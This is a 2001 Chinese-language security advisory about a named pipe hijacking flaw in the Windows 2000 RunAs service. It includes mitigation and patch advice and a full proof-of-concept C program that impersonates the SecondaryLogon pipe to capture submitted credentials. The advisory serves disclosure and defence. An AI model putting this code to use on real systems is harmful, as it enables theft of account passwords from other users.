首页 -> 安全研究

安全研究

安全漏洞
Microsoft Windows 2000 RunAs 命名管道劫持漏洞

发布日期:2001-11-12
更新日期:2001-11-13

受影响系统:

Microsoft Windows 2000 SP2
Microsoft Windows 2000 SP1
Microsoft Windows 2000
描述:

BUGTRAQ ID: 3185

Windows 2000 的RunAs服务允许一个用户以其它用户的身份执行命令,该服务存在一个
安全问题,可能导致用户命名管道被劫持。

当RunAs服务被调用时,会创建一个命名管道用于客户端提交证书(即帐号密码信
息),该命名管道是明文通信的。当RunAs服务结束之后,如果另一个用户试图使用
RunAs服务时,攻击者就可以创建一个同名的命名管道。

<*来源:Camisade - Team RADIX (research@camisade.com
  参考:http://www.camisade.com/research/reports/radix1112200101.html
*>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


Camisade - Team RADIX (research@camisade.com)提供了一个测试程序:
// radix1112200101.c - Camisade - Team RADIX - 11-12-2001
//
// Camisade (www.camisade.com) is not responsible for the use or
// misuse of this proof of concept source code.

#define WIN32_LEAN_AND_MEAN
#define UNICODE
#define _UNICODE

#include <windows.h>
#include <tchar.h>
#include <stdio.h>

#define MAX_IN_BUF   0x1000
#define MAX_OUT_BUF  0x4
#define MAX_INST     0xA

#define SECONDARY_LOGON_PIPE  _T("\\\\.\\pipe\\SecondaryLogon")


void main()
{
   HANDLE hPipe;

   hPipe = CreateNamedPipe(SECONDARY_LOGON_PIPE, PIPE_ACCESS_DUPLEX,
      PIPE_TYPE_BYTE|PIPE_WAIT, MAX_INST, MAX_OUT_BUF, MAX_IN_BUF,
      NMPWAIT_USE_DEFAULT_WAIT, 0);

   if (hPipe == INVALID_HANDLE_VALUE)
   {
      printf("Can't create secondary logon pipe.  Error %d\n", GetLastError());
      return;
   }

   printf("Created pipe and waiting for clients...\n");
   if (ConnectNamedPipe(hPipe, 0))
   {
      UCHAR InBuf[MAX_IN_BUF];
      DWORD dwReadCount;
      
      while (ReadFile(hPipe, InBuf, MAX_IN_BUF, &dwReadCount, 0))
      {
         printf("Read %d bytes.  (ASCII Dump)\n", dwReadCount);

         DWORD dwPos;
         for (dwPos = 0; dwPos < dwReadCount; dwPos++)
         {
            printf("%c ", InBuf[dwPos]);

            if ((dwPos % 16) == 0)
               printf("\n");
         }

         DWORD dwReply = ERROR_ACCESS_DENIED;
         DWORD dwWroteCount;
         WriteFile(hPipe, &dwReply, sizeof(DWORD), &dwWroteCount, 0);
      }
   }
   DisconnectNamedPipe(hPipe);
   CloseHandle(hPipe);
}

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 暂时停止使用或者删除RunAs服务

厂商补丁:

该漏洞的补丁将包含在Service Pack 3中,我们建议使用此软件的用户随时关注厂商的
主页以获取该补丁:
http://www.microsoft.com/

浏览次数:3556
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障